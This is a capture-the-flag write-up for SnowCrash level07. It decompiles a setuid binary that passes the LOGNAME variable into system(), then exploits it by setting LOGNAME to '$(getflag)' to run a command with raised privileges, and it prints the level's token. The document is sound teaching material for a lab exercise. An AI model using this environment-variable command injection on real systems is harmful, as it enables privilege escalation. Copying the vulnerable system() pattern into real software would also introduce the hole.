Level07
echo $LOGNAME
When we login as level07 we get a binary executable file called level07
:
level07@SnowCrash:~$ ls -l
total 12
-rwsr-sr-x 1 flag07 level07 8805 Mar 5 2016 level07
When we execute the binary flag07
we get the following output :
level07@SnowCrash:~$ ./level07
level07
It prints level07
which could by the name of the binary, or maybe the name of the directory or event the name of the user or something else. To know what's going on we should decompile the binary.
Lets transfer the binary to a machine where proper tools are avalable to disassemble and analyse the binary.
## Here 192.168.1.92 is my Virtual Machine session ip.
## Your might be different.
$> scp -P 4242 level07@192.168.1.92:/home/user/level07/level07 .
Once we have got the binary we can simply use RetDec to decompile the binary and get a C source code :
$> retdec-decompiler.py level07
And the C source code of the file level07
is as follows :
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
// ------------------------ Functions -------------------------
// From module: /home/user/level07/level07.c
// Address range: 0x8048514 - 0x80485a1
// Line range: 6 - 24
int main(int argc, char ** argv)
{
int32_t v1 = getegid(); // 0x804851d
int32_t v2 = geteuid(); // 0x8048526
setresgid(v1, v1, v1);
setresuid(v2, v2, v2);
char * buffer = NULL; // bp-28
char * env_val = getenv("LOGNAME"); // 0x8048576
asprintf(&buffer, "/bin/echo %s ", env_val);
return system(buffer);
}
Just by looking at the source code we can see that the program is printing the environment varaible LOGNAME which is level07
in the vm. So we can see this level is similar to level04 where we have a program that calls acho with a String
that we can control (because we can change the environment variable value)
To get the flag for this level all we need to do is change the environment variable LOGNAME so that echo calls the getflag
program:
level07@SnowCrash:~$ export LOGNAME='$(getflag)'
level07@SnowCrash:~$ ./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
Password for next level
So the Password to connect to the account level08 is fiumuikeil55xe9cu4dood66h
Command summery
## Set the environment variable.
level07@SnowCrash:~$ export LOGNAME='$(getflag)'
## Execute the binary so it can read our modified envirnoment variable.
level07@SnowCrash:~$ ./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
Last updated
Was this helpful?